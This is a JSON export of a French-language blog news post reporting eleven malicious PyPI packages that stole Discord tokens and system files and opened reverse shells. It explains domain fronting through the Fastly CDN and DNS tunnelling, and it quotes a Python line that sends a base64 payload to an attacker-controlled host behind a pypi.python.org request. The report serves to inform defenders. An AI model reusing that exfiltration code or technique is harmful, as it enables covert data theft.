{"id":102339,"date":"2021-11-20T09:36:56","date_gmt":"2021-11-20T07:36:57","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/v-kataloge-pypi-vyyavleny-vredonosnye-biblioteki-ispolzuyushhie-cdn-pypi-dlya-skrytiya-kanala-svyazi"},"modified":"2021-11-20T09:36:56","modified_gmt":"2021-11-20T07:36:57","slug":"v-kataloge-pypi-vyyavleny-vredonosnye-biblioteki-ispolzuyushhie-cdn-pypi-dlya-skrytiya-kanala-svyazi","status":"publish","type":"post","link":"https:\/\/prohoster.info\/fr\/blog\/news\/v-kataloge-pypi-vyyavleny-vredonosnye-biblioteki-ispolzuyushhie-cdn-pypi-dlya-skrytiya-kanala-svyazi","title":{"rendered":"Des biblioth\u00e8ques malveillantes utilisant le CDN PyPI pour dissimuler la voie de communication ont \u00e9t\u00e9 identifi\u00e9es dans le catalogue PyPI.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"<p>Le catalogue PyPI (Python Package Index) a identifi\u00e9 11 paquets contenant du code malveillant. Avant la d\u00e9tection des probl\u00e8mes, ces paquets avaient \u00e9t\u00e9 t\u00e9l\u00e9charg\u00e9s environ 38 000 fois. Les paquets malveillants identifi\u00e9s sont remarquables par l'utilisation de m\u00e9thodes complexes pour dissimuler les canaux de communication avec les serveurs des attaquants.     <\/p>\n<ul>\n<li class=\"l\"> importantpackage (6305 t\u00e9l\u00e9chargements), important-package (12897) \u2014 \u00e9tablissait une connexion avec un serveur externe sous couvert d'une connexion \u00e0 pypi.python.org pour fournir un acc\u00e8s shell au syst\u00e8me (reverse shell) et utilisait le programme trevorc2 pour dissimuler le canal de communication.\n<li class=\"l\"> pptest (10001), ipboards (946) \u2014 utilisaient DNS comme canal de communication pour transmettre des informations sur le syst\u00e8me (dans le premier paquet, le nom d'h\u00f4te, le r\u00e9pertoire de travail, l'IP interne et externe, dans le second \u2014 le nom d'utilisateur et d'h\u00f4te).\n<li class=\"l\"> owlmoon (3285), DiscordSafety (557), yiffparty (1859) \u2014 identifiaient dans le syst\u00e8me le token du service Discord et l'envoyaient vers un h\u00f4te externe.\n<li class=\"l\"> trrfab (287) \u2014 envoyait vers un h\u00f4te externe l'identifiant, le nom d'h\u00f4te et le contenu de \/etc\/passwd, \/etc\/hosts, \/home.\n<li class=\"l\"> 10Cent10 (490) \u2014 \u00e9tablissait une connexion shell invers\u00e9e avec un h\u00f4te externe.\n<li class=\"l\"> yandex-yt (4183) \u2014 affichait un message de compromission du syst\u00e8me et redirigeait vers une page contenant des informations suppl\u00e9mentaires sur les actions \u00e0 entreprendre, fournies via nda.ya.ru (api.ya.cc).  <\/ul>\n<p>Une attention particuli\u00e8re m\u00e9rite la m\u00e9thode d'acc\u00e8s aux h\u00f4tes externes utilis\u00e9e dans les paquets importantpackage et important-package, qui ont utilis\u00e9 le r\u00e9seau de diffusion de contenu Fastly pour dissimuler leur activit\u00e9 dans le r\u00e9pertoire PyPI. En fait, les requ\u00eates \u00e9taient envoy\u00e9es au serveur pypi.python.org (notamment en indiquant le nom python.org dans SNI \u00e0 l'int\u00e9rieur de la requ\u00eate HTTPS), tout en affichant dans l'en-t\u00eate HTTP \u00ab Host \u00bb le nom du serveur contr\u00f4l\u00e9 par les attaquants (sec.forward.io.global.prod.fastly.net). Le r\u00e9seau de diffusion de contenu redirigeait ce type de requ\u00eate vers le serveur des attaquants, en utilisant lors du transfert de donn\u00e9es les param\u00e8tres de la connexion TLS avec pypi.python.org.       <\/p>\n<p>Le fonctionnement de l'infrastructure PyPI s'appuie sur le r\u00e9seau de diffusion de contenu Fastly, o\u00f9 un proxy Varnish est utilis\u00e9 pour le cache des requ\u00eates typiques, ainsi qu'un traitement des certificats TLS au niveau de la CDN plut\u00f4t qu'aux serveurs finaux, afin de faciliter le passage des requ\u00eates HTTPS \u00e0 travers le proxy. Ind\u00e9pendamment de l'h\u00f4te cible, les requ\u00eates sont dirig\u00e9es vers le proxy, qui d\u00e9termine le bon h\u00f4te par l'en-t\u00eate HTTP \u00ab Host \u00bb, et <a class=\"wpil_keyword_link\" href=\"https:\/\/prohoster.info\/fr\/domain\/\"   title=\"noms de domaine\" data-wpil-keyword-link=\"linked\"  data-wpil-monitor-id=\"934\">noms de domaine<\/a> Les h\u00f4tes sont li\u00e9s \u00e0 des adresses IP typiques des \u00e9quilibreurs de charge CDN de Fastly pour tous les clients.      <\/p>\n<p>Le serveur des attaquants est \u00e9galement enregistr\u00e9 dans le CDN Fastly, qui propose \u00e0 tous des plans tarifaires gratuits et autorise m\u00eame l'enregistrement anonyme. Il est int\u00e9ressant de noter que pour envoyer des requ\u00eates \u00e0 la victime lors de la cr\u00e9ation d'un \u00ab reverse shell \u00bb, le m\u00eame sch\u00e9ma est utilis\u00e9, mais initi\u00e9 depuis l'h\u00f4te des cybercriminels. Pour l'ext\u00e9rieur, l'interaction avec le serveur des attaquants ressemble \u00e0 une session l\u00e9gitime avec le r\u00e9pertoire PyPI, chiffr\u00e9e \u00e0 l'aide de <a class=\"wpil_keyword_link\" href=\"https:\/\/prohoster.info\/fr\/ssl-sertifikat\/\"   title=\"certificat TLS\" data-wpil-keyword-link=\"linked\"  data-wpil-monitor-id=\"951\">certificat TLS<\/a> PyPI. Cette technique, connue sous le nom de \u00ab domain fronting \u00bb, \u00e9tait auparavant largement utilis\u00e9e pour masquer le nom de l'h\u00f4te lors du contournement des blocages, en utilisant la possibilit\u00e9 d'acc\u00e8s via HTTPS dans certains r\u00e9seaux CDN en sp\u00e9cifiant un h\u00f4te fictif dans le SNI et en transmettant effectivement le nom de l'h\u00f4te demand\u00e9 dans l'en-t\u00eate HTTP Host \u00e0 l'int\u00e9rieur de la session TLS.     <center><img decoding=\"async\" alt=\"Des biblioth\u00e8ques malveillantes utilisant le CDN PyPI pour dissimuler la voie de communication ont \u00e9t\u00e9 identifi\u00e9es dans le catalogue PyPI. \" src=\"\/wp-content\/uploads\/2021\/11\/9e9761458829291aded542d2bcae4cf3.jpg\" style=\"display:block;margin: 0 auto;\" \/><\/center>      <\/p>\n<p>Pour dissimuler l'activit\u00e9 malveillante, le paquet TrevorC2 a \u00e9galement \u00e9t\u00e9 utilis\u00e9, permettant de rendre l'interaction avec le serveur similaire \u00e0 une navigation web ordinaire, par exemple, des requ\u00eates malveillantes \u00e9taient envoy\u00e9es sous pr\u00e9texte de t\u00e9l\u00e9charger une image \u00ab https:\/\/pypi.python.org\/images\/guid= \u00bb en codant les informations dans le param\u00e8tre guid.           url = \u00ab https:\/\/pypi.python.org \u00bb + \u00ab \/images \u00bb + \u00ab ? \u00bb + \u00ab guid= \u00bb + b64_payload     r = request.Request(url, headers = {'Host': \u00ab psec.forward.io.global.prod.fastly.net \u00bb})      <\/p>\n<p>Dans les paquets pptest et ipboards, une autre approche a \u00e9t\u00e9 utilis\u00e9e pour masquer l'activit\u00e9 r\u00e9seau, bas\u00e9e sur le codage d'informations utiles dans les requ\u00eates au serveur DNS. Le logiciel malveillant transmet des informations en effectuant des requ\u00eates DNS de type \u00ab nu4timjagq4fimbuhe.example.com \u00bb, dans lesquelles les donn\u00e9es transmises au serveur de commande sont cod\u00e9es dans le nom de sous-domaine au format base64. L'attaquant re\u00e7oit les donn\u00e9es du message en contr\u00f4lant le serveur DNS pour le domaine example.com.<br \/>\n<br \/>Source : <a content=\"nofollow\" rel=\"nofollow\" href=\"https:\/\/www.opennet.ru\/opennews\/art.shtml?num=56190\">opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"<p>\u0412 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 PyPI (Python Package Index) \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043e 11 \u043f\u0430\u043a\u0435\u0442\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434. \u0414\u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u0441\u0443\u043c\u043c\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u0443\u0441\u043f\u0435\u043b\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043e\u043a\u043e\u043b\u043e 38 \u0442\u044b\u0441\u044f\u0447 \u0440\u0430\u0437. \u0412\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u043f\u0440\u0438\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u044b \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435\u043c \u0437\u0430\u043c\u044b\u0441\u043b\u043e\u0432\u0430\u0442\u044b\u0445 \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u0432 \u0441\u043a\u0440\u044b\u0442\u0438\u044f \u043a\u0430\u043d\u0430\u043b\u043e\u0432 \u0441\u0432\u044f\u0437\u0438 \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432. importantpackage (6305 \u0437\u0430\u0433\u0440\u0443\u0437\u043e\u043a), important-package (12897) &#8212; \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u043b\u0438 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u0441 \u0432\u043d\u0435\u0448\u043d\u0438\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u043f\u043e\u0434 \u0432\u0438\u0434\u043e\u043c \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a pypi.python.org \u0434\u043b\u044f \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u044f [&hellip;]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":102340,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-102339","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 5.0.3 - aioseo.com -->\n\t<meta name=\"description\" content=\"\u0412 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 PyPI (Python Package Index) \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043e 11 \u043f\u0430\u043a\u0435\u0442\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434. \u0414\u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u0441\u0443\u043c\u043c\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u0443\u0441\u043f\u0435\u043b\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043e\u043a\u043e\u043b\u043e 38 \u0442\u044b\u0441\u044f\u0447 \u0440\u0430\u0437.\" \/>\n\t<meta name=\"robots\" content=\"max-image-preview:large\" \/>\n\t<meta name=\"author\" content=\"Yuri Gagarin\"\/>\n\t<link rel=\"canonical\" href=\"https:\/\/prohoster.info\/fr\/blog\/news\/v-kataloge-pypi-vyyavleny-vredonosnye-biblioteki-ispolzuyushhie-cdn-pypi-dlya-skrytiya-kanala-svyazi\" \/>\n\t\t<meta name=\"generator\" content=\"All in One SEO (AIOSEO) 5.0.3\" \/>\n\t\t<meta property=\"og:locale\" content=\"fr_FR\" \/>\n\t\t<meta property=\"og:site_name\" content=\"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b\" \/>\n\t\t<meta property=\"og:type\" content=\"article\" \/>\n\t\t<meta property=\"og:title\" content=\"\ud83e\udd47\u0412 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 PyPI \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u044b \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 CDN PyPI \u0434\u043b\u044f \u0441\u043a\u0440\u044b\u0442\u0438\u044f \u043a\u0430\u043d\u0430\u043b\u0430 \u0441\u0432\u044f\u0437\u0438 | ProHoster\" \/>\n\t\t<meta property=\"og:description\" content=\"\u0412 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 PyPI (Python Package Index) \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043e 11 \u043f\u0430\u043a\u0435\u0442\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434. \u0414\u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u0441\u0443\u043c\u043c\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u0443\u0441\u043f\u0435\u043b\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043e\u043a\u043e\u043b\u043e 38 \u0442\u044b\u0441\u044f\u0447 \u0440\u0430\u0437.\" \/>\n\t\t<meta property=\"og:url\" content=\"https:\/\/prohoster.info\/fr\/blog\/news\/v-kataloge-pypi-vyyavleny-vredonosnye-biblioteki-ispolzuyushhie-cdn-pypi-dlya-skrytiya-kanala-svyazi\" \/>\n\t\t<meta property=\"og:image\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:secure_url\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:width\" content=\"350\" \/>\n\t\t<meta property=\"og:image:height\" content=\"350\" \/>\n\t\t<meta property=\"article:published_time\" content=\"2021-11-20T07:36:57+00:00\" \/>\n\t\t<meta property=\"article:modified_time\" content=\"2021-11-20T07:36:57+00:00\" \/>\n\t\t<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<meta property=\"article:author\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<!-- All in One SEO -->\n\n","aioseo_head_json":{"title":"\ud83e\udd47Des biblioth\u00e8ques malveillantes ont \u00e9t\u00e9 identifi\u00e9es dans le r\u00e9pertoire PyPI, utilisant le CDN PyPI pour cacher le canal de communication | ProHoster","description":"Dans le r\u00e9pertoire PyPI (Python Package Index), 11 paquets contenant du code malveillant ont \u00e9t\u00e9 identifi\u00e9s. Avant la d\u00e9couverte des probl\u00e8mes, ces paquets avaient \u00e9t\u00e9 t\u00e9l\u00e9charg\u00e9s environ 38 000 fois.","canonical_url":"https:\/\/prohoster.info\/fr\/blog\/news\/v-kataloge-pypi-vyyavleny-vredonosnye-biblioteki-ispolzuyushhie-cdn-pypi-dlya-skrytiya-kanala-svyazi","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"fr_FR","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u0412 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 PyPI \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u044b \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 CDN PyPI \u0434\u043b\u044f \u0441\u043a\u0440\u044b\u0442\u0438\u044f \u043a\u0430\u043d\u0430\u043b\u0430 \u0441\u0432\u044f\u0437\u0438 | ProHoster","og:description":"\u0412 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 PyPI (Python Package Index) \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043e 11 \u043f\u0430\u043a\u0435\u0442\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434. \u0414\u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u0441\u0443\u043c\u043c\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u0443\u0441\u043f\u0435\u043b\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043e\u043a\u043e\u043b\u043e 38 \u0442\u044b\u0441\u044f\u0447 \u0440\u0430\u0437.","og:url":"https:\/\/prohoster.info\/fr\/blog\/news\/v-kataloge-pypi-vyyavleny-vredonosnye-biblioteki-ispolzuyushhie-cdn-pypi-dlya-skrytiya-kanala-svyazi","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2021-11-20T07:36:57+00:00","article:modified_time":"2021-11-20T07:36:57+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"102339","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":"default","schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-11-20 07:37:34","updated":"2026-02-08 21:02:57","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/posts\/102339","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/comments?post=102339"}],"version-history":[{"count":2,"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/posts\/102339\/revisions"}],"predecessor-version":[{"id":158143,"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/posts\/102339\/revisions\/158143"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/media\/102340"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/media?parent=102339"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/categories?post=102339"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/tags?post=102339"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}